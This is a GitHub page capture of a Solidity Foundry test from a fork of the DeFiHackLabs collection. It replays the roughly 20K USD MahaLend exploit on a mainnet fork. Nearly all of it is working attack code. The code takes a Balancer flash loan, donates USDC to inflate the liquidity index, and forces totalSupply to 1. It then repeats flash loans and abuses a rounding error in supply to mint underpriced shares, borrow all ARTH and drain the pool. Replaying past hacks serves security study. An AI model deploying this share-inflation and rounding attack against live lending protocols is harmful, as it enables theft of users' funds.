forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MahaLend_exp.sol
119 lines (100 loc) · 4.93 KB
/
MahaLend_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~20K USD$
// Attacker : https://etherscan.io/address/0x0ec330df28ae6106a774d0add3e540ea8d226e3b
// Attack Contract : https://etherscan.io/address/0xf5836e292f716a7979f9bc5c2d3ed59913e07962
// Vulnerable Contract : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4
// Attack Tx :https://etherscan.io/tx/0x2881e839d4d562fad5356183e4f6a9d427ba6f475614ce8ef64dbfe557a4a2cc
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xfd11aba71c06061f446ade4eec057179f19c23c4#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1723223766350832071
// Hacking God : https://www.google.com/
contract ContractTest is Test {
IERC20 ARTH = IERC20(0x8CC0F052fff7eaD7f2EdCCcaC895502E884a8a71);
IAaveFlashloan MahaLend = IAaveFlashloan(0x76F0C94Ced5B48020bf0D7f3D0CEabC877744cB5);
IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
address mARTH = 0xE6B683868D1C168Da88cfe5081E34d9D80E4D1a6;
address mUSDC = 0x658b0f629B9e3753AA555C189D0cB19C1eD59632;
uint256 nonce;
function setUp() public {
vm.createSelectFork("mainnet", 18_544_604);
vm.label(address(ARTH), "ARTH");
vm.label(address(USDC), "USDC");
vm.label(address(MahaLend), "MahaLend");
vm.label(address(Balancer), "Balancer");
}
function testExploit() external {
USDC.approve(address(MahaLend), type(uint256).max);
address[] memory tokens = new address[](1);
tokens[0] = address(USDC);
uint256[] memory amounts = new uint256[](1);
amounts[0] = USDC.balanceOf(address(Balancer));
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
emit log_named_decimal_uint(
"Attacker ARTH balance after exploit", ARTH.balanceOf(address(this)), ARTH.decimals()
);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
uint256 depositAmount = 1_160_272_591_443;
MahaLend.supply(address(USDC), depositAmount, address(this), 0);
address[] memory assets = new address[](1);
assets[0] = address(USDC);
uint256[] memory amount = new uint256[](1);
amount[0] = depositAmount;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
for (uint256 i; i < 54; ++i) {
MahaLend.flashLoan(address(this), assets, amount, modes, address(this), "", 0);
}
uint256 borrowAmount = ARTH.balanceOf(address(mARTH));
MahaLend.borrow(address(ARTH), borrowAmount, 2, 0, address(this));
// recoverFund recoverfund = new recoverFund();
// USDC.transfer(address(recoverfund), USDC.balanceOf(address(this)));
// recoverfund.recoverDonatedFund();
recoverDonatedFund();
USDC.transfer(address(Balancer), amounts[0]);
}
function executeOperation(
address[] calldata asset,
uint256[] calldata amount,
uint256[] calldata premium,
address initiator,
bytes calldata params
) external returns (bool) {
if (nonce == 0) {
uint256 depositAmount = amount[0];
USDC.transfer(address(mUSDC), depositAmount); // donate USDC as flashloan fund to inflate index
MahaLend.withdraw(address(USDC), depositAmount - 1, address(this)); // manipulate totalSupply to 1
nonce++;
}
return true;
}
function recoverDonatedFund() internal {
uint256 premiumPerFlashloan = uint256(1_160_272_591_443) * 5 / 10_000 + 1; // 0.05% flashlaon fee
premiumPerFlashloan -= (premiumPerFlashloan * 4 / 10_000); // 0.04% protocol fee
uint256 nextLiquidityIndex = premiumPerFlashloan * 55 + 1; // 55 times flashloan
uint256 supplyAmount = nextLiquidityIndex / 2 + 1; // Use a rounding error greater than 0.5 for upward rounding and less than downward rounding
console.log("premiumPerFlashloan", premiumPerFlashloan);
console.log("nextLiquidityIndex", nextLiquidityIndex);
console.log("supplyAmount", supplyAmount);
uint256 count;
USDC.approve(address(MahaLend), type(uint256).max);
do {
MahaLend.supply(address(USDC), supplyAmount, address(this), 0); // supply 50% asset of 1 share, but mint 1 share throungh rounding error
count++;
} while (USDC.balanceOf(address(mUSDC)) > count * nextLiquidityIndex);
MahaLend.withdraw(address(USDC), USDC.balanceOf(address(mUSDC)), address(this)); // withdraw all asset
}
}